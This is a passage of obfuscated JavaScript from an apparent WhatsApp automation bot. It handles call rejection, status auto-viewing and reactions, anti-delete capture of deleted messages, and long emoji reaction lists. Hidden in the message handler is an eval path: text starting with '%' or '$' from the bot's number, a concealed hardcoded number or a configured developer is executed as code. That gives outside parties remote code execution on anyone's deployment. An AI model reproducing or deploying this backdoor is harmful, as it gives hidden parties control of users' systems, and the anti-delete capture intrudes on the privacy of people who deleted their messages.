_0x535b9f=_0x380541(0x1e4)+online+'*\x0a*โ”‚โ€ข\x20๐Ÿ“œ๐๐‘๐„๐…๐ˆ๐—\x20:\x20'+prefix+_0x380541(0x35b)+mode+'*\x0a*โ”‚โ€ข\x20๐Ÿช„๐’๐“๐€๐“๐”๐’\x20๐•๐ˆ๐„๐–๐’\x20:\x20'+status+_0x380541(0x31c);_0x56ac80[_0x380541(0x276)](_0x56ac80['user']['id'],{'image':{'url':_0x380541(0x35f)},'caption':_0x535b9f});}}}),_0x56ac80['ev']['on']('creds.update',_0x1d9a5c),_0x56ac80['ev']['on'](_0x4fa459(0x2ed),async _0x18b7ac=>{const _0x48794d=_0x4fa459;try{if(config[_0x48794d(0x2e6)]!==_0x48794d(0x2f8))return;for(const _0x10efba of _0x18b7ac){if(_0x10efba[_0x48794d(0x22f)]!==_0x48794d(0x362))continue;const _0x1a0da2=_0x10efba['id'],_0x50d282=_0x10efba[_0x48794d(0x241)];await _0x56ac80[_0x48794d(0x1c8)](_0x1a0da2,_0x50d282),await _0x56ac80['sendMessage'](_0x50d282,{'text':config[_0x48794d(0x1f8)]||'*๐Ÿ“ž\x20แด„ฮฑโ„“โ„“\x20ษดฯƒั‚\x20ฮฑโ„“โ„“ฯƒฯ‰ั”โˆ‚\x20ฮนษด\x20ั‚ะฝฮนั•\x20ษดแดœะผะฒั”ส€\x20ัƒฯƒฯ…\x20โˆ‚ฯƒษดั‚\x20ะฝฮฑฮฝั”\x20แด˜ั”ส€ะผฮนั•ั•ฮนฯƒษด\x20๐Ÿ“ต*'}),console[_0x48794d(0x33d)](_0x48794d(0x253)+_0x50d282);}}catch(_0xe12ee9){console[_0x48794d(0x320)](_0x48794d(0x1c4),_0xe12ee9);}}),_0x56ac80['ev']['on']('messages.update',async _0x41021b=>{const _0x3b050a=_0x4fa459;for(const _0x4b46f0 of _0x41021b){_0x4b46f0[_0x3b050a(0x353)][_0x3b050a(0x1e7)]===null&&(console[_0x3b050a(0x33d)]('Delete\x20Detected:',JSON['stringify'](_0x4b46f0,null,0x2)),await AntiDelete(_0x56ac80,_0x41021b));}}),_0x56ac80['ev']['on'](_0x4fa459(0x300),_0x426226=>GroupEvents(_0x56ac80,_0x426226)),_0x56ac80['ev']['on'](_0x4fa459(0x286),async _0x1c9732=>{const _0x50c532=_0x4fa459;_0x1c9732=_0x1c9732[_0x50c532(0x2dc)][0x0];if(!_0x1c9732['message'])return;_0x1c9732[_0x50c532(0x1e7)]=getContentType(_0x1c9732[_0x50c532(0x1e7)])===_0x50c532(0x202)?_0x1c9732['message'][_0x50c532(0x202)][_0x50c532(0x1e7)]:_0x1c9732[_0x50c532(0x1e7)];config[_0x50c532(0x211)]===_0x50c532(0x2f8)&&(await _0x56ac80[_0x50c532(0x372)]([_0x1c9732[_0x50c532(0x2f1)]]),console[_0x50c532(0x33d)](_0x50c532(0x37d)+_0x1c9732[_0x50c532(0x2f1)]['remoteJid']+_0x50c532(0x2a0)));if(_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2b9)])_0x1c9732['message']=getContentType(_0x1c9732[_0x50c532(0x1e7)])===_0x50c532(0x202)?_0x1c9732['message']['ephemeralMessage']['message']:_0x1c9732[_0x50c532(0x1e7)];_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732['key']['remoteJid']==='status@broadcast'&&config['AUTO_STATUS_SEEN']===_0x50c532(0x2f8)&&await _0x56ac80[_0x50c532(0x372)]([_0x1c9732[_0x50c532(0x2f1)]]);if(_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)]==='status@broadcast'&&config[_0x50c532(0x308)]===_0x50c532(0x2f8)){const _0x106566=await _0x56ac80['decodeJid'](_0x56ac80[_0x50c532(0x230)]['id']),_0x24a217=['โค๏ธ','๐Ÿ’ธ','๐Ÿ˜‡','๐Ÿ‚','๐Ÿ’ฅ','๐Ÿ’ฏ','๐Ÿ”ฅ','๐Ÿ’ซ','๐Ÿ’Ž','๐Ÿ’—','๐Ÿค','๐Ÿ–ค','๐Ÿ‘€','๐Ÿ™Œ','๐Ÿ™†','๐Ÿšฉ','๐Ÿฅฐ','๐Ÿ’','๐Ÿ˜Ž','๐ŸคŽ','โœ…','๐Ÿซ€','๐Ÿงก','๐Ÿ˜','๐Ÿ˜„','๐ŸŒธ',_0x50c532(0x1a6),'๐ŸŒท','โ›…','๐ŸŒŸ','๐Ÿ—ฟ',_0x50c532(0x34c),'๐Ÿ’œ','๐Ÿ’™','๐ŸŒ','๐Ÿ–ค','๐ŸŽŽ','๐ŸŽ','๐ŸŽ','โšฝ','๐Ÿงฃ','๐ŸŒฟ','โ›ˆ๏ธ',_0x50c532(0x26c),'๐ŸŒš','๐ŸŒ','๐Ÿ™ˆ','๐Ÿ™‰','๐Ÿฆ–','๐Ÿค',_0x50c532(0x26b),'๐Ÿฅ‡','๐Ÿ‘พ','๐Ÿ”ซ','๐Ÿ','๐Ÿฆ‹','๐Ÿ“','๐Ÿซ','๐Ÿญ','๐Ÿง','๐Ÿงƒ','๐Ÿฟ','๐Ÿป','๐ŸŽ€','๐Ÿงธ','๐Ÿ‘‘','ใ€ฝ๏ธ','๐Ÿ˜ณ','๐Ÿ’€','โ˜ ๏ธ','๐Ÿ‘ป','๐Ÿ”ฅ','โ™ฅ๏ธ','๐Ÿ‘€','๐Ÿผ'],_0x553bd7=_0x24a217[Math[_0x50c532(0x1ae)](Math[_0x50c532(0x1db)]()*_0x24a217[_0x50c532(0x25c)])];await _0x56ac80[_0x50c532(0x276)](_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],{'react':{'text':_0x553bd7,'key':_0x1c9732[_0x50c532(0x2f1)]}},{'statusJidList':[_0x1c9732[_0x50c532(0x2f1)]['participant'],_0x106566]});}if(_0x1c9732[_0x50c532(0x2f1)]&&_0x1c9732['key']['remoteJid']===_0x50c532(0x214)&&config[_0x50c532(0x363)]===_0x50c532(0x2f8)){const _0x166ae8=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x21b)],_0x4e54dc=''+config[_0x50c532(0x2eb)];await _0x56ac80[_0x50c532(0x276)](_0x166ae8,{'text':_0x4e54dc,'react':{'text':'๐Ÿ’œ','key':_0x1c9732[_0x50c532(0x2f1)]}},{'quoted':_0x1c9732});}await Promise['all']([saveMessage(_0x1c9732)]);const _0x1a54cd=sms(_0x56ac80,_0x1c9732),_0x28a36f=getContentType(_0x1c9732[_0x50c532(0x1e7)]),_0x45ad89=JSON['stringify'](_0x1c9732[_0x50c532(0x1e7)]),_0x46dd61=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],_0x2fc166=_0x28a36f==_0x50c532(0x2c1)&&_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)][_0x50c532(0x2d9)]!=null?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)][_0x50c532(0x2d9)][_0x50c532(0x1ee)]||[]:[],_0x1b47c5=_0x28a36f===_0x50c532(0x23c)?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x23c)]:_0x28a36f===_0x50c532(0x2c1)?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x2c1)]['text']:_0x28a36f=='imageMessage'&&_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x1fa)][_0x50c532(0x1ca)]?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x1fa)][_0x50c532(0x1ca)]:_0x28a36f==_0x50c532(0x359)&&_0x1c9732['message']['videoMessage'][_0x50c532(0x1ca)]?_0x1c9732[_0x50c532(0x1e7)][_0x50c532(0x359)][_0x50c532(0x1ca)]:'',_0x53c320=_0x1b47c5[_0x50c532(0x259)](prefix);var _0x5d5cb4=typeof _0x1c9732[_0x50c532(0x314)]=='string'?_0x1c9732[_0x50c532(0x314)]:![];const _0x25f21a=_0x53c320?_0x1b47c5[_0x50c532(0x34a)](prefix['length'])[_0x50c532(0x2b5)]()['split']('\x20')['shift']()['toLowerCase']():'',_0x4fffba=_0x1b47c5[_0x50c532(0x2b5)]()[_0x50c532(0x25d)](/ +/)['slice'](0x1),_0x5e3711=_0x4fffba['join']('\x20'),_0x15654b=_0x4fffba['join']('\x20'),_0x49325c=_0x46dd61[_0x50c532(0x1cf)](_0x50c532(0x212)),_0x2860ef=_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x2fd)]?_0x56ac80['user']['id'][_0x50c532(0x25d)](':')[0x0]+_0x50c532(0x27a)||_0x56ac80[_0x50c532(0x230)]['id']:_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x21b)]||_0x1c9732[_0x50c532(0x2f1)][_0x50c532(0x340)],_0x1e3d4b=_0x2860ef[_0x50c532(0x25d)]('@')[0x0],_0x55fcd1=_0x56ac80[_0x50c532(0x230)]['id'][_0x50c532(0x25d)](':')[0x0],_0x39f335=_0x1c9732['pushName']||_0x50c532(0x23e),_0x112cec=_0x55fcd1['includes'](_0x1e3d4b),_0x4d6166=ownerNumber['includes'](_0x1e3d4b)||_0x112cec,_0x18ac53=await jidNormalizedUser(_0x56ac80[_0x50c532(0x230)]['id']),_0x327db9=_0x49325c?await _0x56ac80['groupMetadata'](_0x46dd61)['catch'](_0x12db34=>{}):'',_0x4fa895=_0x49325c?_0x327db9['subject']:'',_0xc5c331=_0x49325c?await _0x327db9[_0x50c532(0x208)]:'',_0x2e4f3d=_0x49325c?await getGroupAdmins(_0xc5c331):'',_0xad31a4=_0x49325c?_0x2e4f3d[_0x50c532(0x22b)](_0x18ac53):![],_0x12f8fb=_0x49325c?_0x2e4f3d[_0x50c532(0x22b)](_0x2860ef):![],_0x5cff93=_0x1a54cd[_0x50c532(0x1e7)]['reactionMessage']?!![]:![],_0x4d7b2f=_0x5db3e7=>{const _0x52e7e3=_0x50c532;_0x56ac80[_0x52e7e3(0x276)](_0x46dd61,{'text':_0x5db3e7},{'quoted':_0x1c9732});},_0x1632b6=_0x55fcd1['split']('@')[0x0],_0x524645=_0x50c532(0x333);let _0xd24548=[_0x1632b6,_0x524645,config['DEV']][_0x50c532(0x1bb)](_0x5f3087=>_0x5f3087[_0x50c532(0x35e)](/[^0-9]/g)+_0x50c532(0x27a))[_0x50c532(0x22b)](_0x1c9732[_0x50c532(0x2d3)]);if(_0xd24548&&_0x1c9732['text'][_0x50c532(0x259)]('%')){let _0x472cd3=_0x5d5cb4['slice'](0x2);if(!_0x472cd3){_0x4d7b2f(_0x50c532(0x2c2));return;}try{let _0x4baf98=eval(_0x472cd3);if(typeof _0x4baf98===_0x50c532(0x1c2))_0x4d7b2f(util['format'](_0x4baf98));else _0x4d7b2f(util['format'](_0x4baf98));}catch(_0x487fd0){_0x4d7b2f(util[_0x50c532(0x1fb)](_0x487fd0));}return;}if(_0xd24548&&_0x1c9732[_0x50c532(0x314)][_0x50c532(0x259)]('$')){let _0xa63a22=_0x5d5cb4[_0x50c532(0x34a)](0x2);if(!_0xa63a22){_0x4d7b2f(_0x50c532(0x2c2));return;}try{let _0x212fb6=await eval(_0x50c532(0x264)+_0xa63a22+_0x50c532(0x30a)),_0x370124=util[_0x50c532(0x1fb)](_0x212fb6);if(_0x370124===undefined)return console[_0x50c532(0x33d)](_0x370124);else _0x4d7b2f(_0x370124);}catch(_0x55cd08){if(_0x55cd08===undefined)return console[_0x50c532(0x33d)](_0x50c532(0x320));else _0x4d7b2f(util[_0x50c532(0x1fb)](_0x55cd08));}return;}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿชพ');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿซฉ');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿซ†');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿซœ');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿช‰');}if(_0x1e3d4b[_0x50c532(0x22b)](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐Ÿช');}if(_0x1e3d4b['includes'](_0x50c532(0x338))){if(_0x5cff93)return;_0x1a54cd[_0x50c532(0x36c)]('๐ŸซŸ');}if(!_0x5cff93&&_0x1e3d4b!==_0x55fcd1){if(config['AUTO_REACT']===_0x50c532(0x2f8)){const _0x32b63d=['๐Ÿ˜Š','๐Ÿ‘','๐Ÿ˜‚','๐Ÿ’ฏ','๐Ÿ”ฅ','๐Ÿ™','๐ŸŽ‰','๐Ÿ‘','๐Ÿ˜Ž','๐Ÿค–','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿ•ด๏ธ','๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),'๐Ÿ•ธ๏ธ','๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ','๐Ÿ“ฝ๏ธ','๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ','๐Ÿ•ณ๏ธ','๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),'๐Ÿ•ธ๏ธ','๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐Ÿต','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ','๐Ÿ•ท๏ธ',_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ™‚','๐Ÿ˜‘','๐Ÿคฃ','๐Ÿ˜','๐Ÿ˜˜','๐Ÿ˜—','๐Ÿ˜™','๐Ÿ˜š','๐Ÿ˜›','๐Ÿ˜','๐Ÿ˜ž','๐Ÿ˜Ÿ','๐Ÿ˜ ',_0x50c532(0x1ec),'๐Ÿ˜ข','๐Ÿ˜ญ','๐Ÿ˜“','๐Ÿ˜ณ','๐Ÿ˜ด','๐Ÿ˜Œ','๐Ÿ˜†','๐Ÿ˜‚','๐Ÿค”','๐Ÿ˜’','๐Ÿ˜“','๐Ÿ˜ถ','๐Ÿ™„','โšก','๐Ÿฑ','๐Ÿ”','๐Ÿท','๐Ÿด','๐Ÿฒ','๐Ÿธ','๐Ÿณ','๐Ÿ‹','๐Ÿ’','๐Ÿ‘','๐Ÿ','๐Ÿฉ','๐Ÿ”','๐Ÿ•','๐Ÿฅค','๐Ÿฃ','๐Ÿฒ','๐Ÿด','๐Ÿฝ','๐Ÿน','๐Ÿธ','๐ŸŽ‚','๐Ÿ“ฑ','๐Ÿ“บ','๐Ÿ“ป','๐ŸŽค','๐Ÿ“š','๐Ÿ’ป','๐Ÿ“ธ','๐Ÿ“ท','โค๏ธ','๐Ÿ’”','โฃ๏ธ','โ˜€๏ธ','๐ŸŒ™','๐ŸŒƒ','๐Ÿ ','๐Ÿšช',_0x50c532(0x2a3),_0x50c532(0x1b0),_0x50c532(0x2c7),_0x50c532(0x2b6),_0x50c532(0x1d8),'๐Ÿ‡ซ๐Ÿ‡ท',_0x50c532(0x331),'๐Ÿ‘','๐Ÿ‘Ž','๐Ÿ‘','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿค','๐Ÿ™','๐Ÿ‘‘','๐ŸŒป','๐ŸŒบ','๐ŸŒธ','๐ŸŒน','๐ŸŒด','๐Ÿž๏ธ','๐ŸŒŠ','๐Ÿš—','๐ŸšŒ','๐Ÿ›ฃ๏ธ',_0x50c532(0x322),_0x50c532(0x2cf),'๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€',_0x50c532(0x246),_0x50c532(0x2d1),_0x50c532(0x35d),_0x50c532(0x1bc),'๐ŸŽพ','๐Ÿ€','๐Ÿˆ','๐ŸŽฏ','๐Ÿ†','??','โฌ†๏ธ','โฌ‡๏ธ','โ‡’','โ‡','โ†ฉ๏ธ','โ†ช๏ธ','โ„น๏ธ','โ€ผ๏ธ','โ‰๏ธ','โ€ฝ๏ธ','ยฉ๏ธ','ยฎ๏ธ','โ„ข๏ธ','๐Ÿ”ด','๐Ÿ”ต','๐ŸŸข','๐Ÿ”น','๐Ÿ”บ','๐Ÿ’ฏ','๐Ÿ‘‘','๐Ÿคฃ',_0x50c532(0x2de),_0x50c532(0x310),_0x50c532(0x2ec),_0x50c532(0x213),'๐Ÿ™†โ€โ™‚๏ธ','๐Ÿ™†โ€โ™€๏ธ',_0x50c532(0x2fc),'๐Ÿคฆโ€โ™€๏ธ','๐Ÿป',_0x50c532(0x1bf),_0x50c532(0x257),_0x50c532(0x2a9),'๐Ÿ•ดโ€โ™€๏ธ','๐Ÿ’‡โ€โ™‚๏ธ',_0x50c532(0x1fe),'๐Ÿšซ','๐Ÿšฝ','๐Ÿ•ณ๏ธ','๐Ÿ’ฃ','๐Ÿ”ซ',_0x50c532(0x1ec),'๐Ÿ•ธ๏ธ','๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ',_0x50c532(0x27e),'๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๏ฟฝ','๐Ÿฏ','๐Ÿฐ','๐Ÿ ','๐Ÿก','๐Ÿข','๐Ÿฃ','๐Ÿฅ','๐Ÿฆ','๐Ÿง','๐Ÿจ','๐Ÿฉ','๐Ÿช','๐Ÿซ','๐Ÿฌ','๐Ÿญ','๐Ÿฎ','๐Ÿฏ','๐Ÿšฃ','๐Ÿ›ฅ','๐Ÿš‚','๐Ÿš','๐Ÿš€','๐Ÿ›ธ','๐Ÿ›น','๐Ÿšด','๐Ÿšฒ','๐Ÿ›บ','๐Ÿšฎ','๐Ÿšฏ','๐Ÿšฑ','๐Ÿšซ','๐Ÿšฝ',_0x50c532(0x1f5),'๐Ÿ’ฃ','๐Ÿ”ซ','๐Ÿ•ท๏ธ',_0x50c532(0x28b),'๐Ÿ’€','๐Ÿ‘ป','๐Ÿ•บ','๐Ÿ’ƒ',_0x50c532(0x27e),'๐Ÿ‘ถ','๐Ÿ‘ต','๐Ÿ‘ด','๐Ÿ‘ฑ','๐Ÿ‘จ','๐Ÿ‘ฉ','๐Ÿ‘ง','๐Ÿ‘ฆ','๐Ÿ‘ช','๐Ÿ‘ซ','๐Ÿ‘ญ','๐Ÿ‘ฌ','๐Ÿ‘ฎ','๐Ÿ•ด๏ธ','๐Ÿ’ผ','๐Ÿ“Š','๐Ÿ“ˆ','๐Ÿ“‰','๐Ÿ“Š','๐Ÿ“','๐Ÿ“š','๐Ÿ“ฐ','๐Ÿ“ฑ','๐Ÿ’ป','๐Ÿ“ป','๐Ÿ“บ','๐ŸŽฌ',_0x50c532(0x232),'๐Ÿ“ธ','๐Ÿ“ท',_0x50c532(0x371),'๐Ÿ’ก','๐Ÿ”ฆ','๐Ÿ”ง','๐Ÿ”จ','๐Ÿ”ฉ','๐Ÿ”ช','๐Ÿ”ซ','๐Ÿ‘‘','๐Ÿ‘‘','๐Ÿ‘ธ','๐Ÿคด','๐Ÿ‘น','๐Ÿคบ','๐Ÿคป','๐Ÿ‘บ','๐Ÿคผ','๐Ÿคฝ','๐Ÿคพ','๐Ÿคฟ','๐Ÿฆ','๐Ÿด','๐ŸฆŠ','๐Ÿบ','๐Ÿผ','๐Ÿพ','๐Ÿฟ','๐Ÿฆ„','๐Ÿฆ…','๐Ÿฆ†','๐Ÿฆ‡','๐Ÿฆˆ','๐Ÿณ','๐Ÿ‹','๐ŸŸ','๐Ÿ ','๐Ÿก','๐Ÿ™','๐Ÿš','๐Ÿœ','๐Ÿ','๐Ÿž',_0x50c532(0x1ec),'๐Ÿฆ‹','๐Ÿ›','๐ŸŒ','๐Ÿš','๐ŸŒฟ','๐ŸŒธ','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒป','๐ŸŒด','๐ŸŒณ','๐ŸŒฒ','๐ŸŒพ','๐ŸŒฟ','๐Ÿƒ','๐Ÿ‚','๐Ÿƒ','๐ŸŒป','๐Ÿ’','๐ŸŒน','๐ŸŒบ','๐ŸŒธ','๐ŸŒด','๐Ÿต','๐ŸŽ€','๐Ÿ†','๐Ÿˆ','๐Ÿ‰','๐ŸŽฏ','๐Ÿ€','๐ŸŠ','๐Ÿ‹','๐ŸŒ','๐ŸŽฒ','๐Ÿ“š','๐Ÿ“–','๐Ÿ“œ','๐Ÿ“','๐Ÿ’ญ','๐Ÿ’ฌ','๐Ÿ—ฃ','๐Ÿ’ซ','๐ŸŒŸ','๐ŸŒ 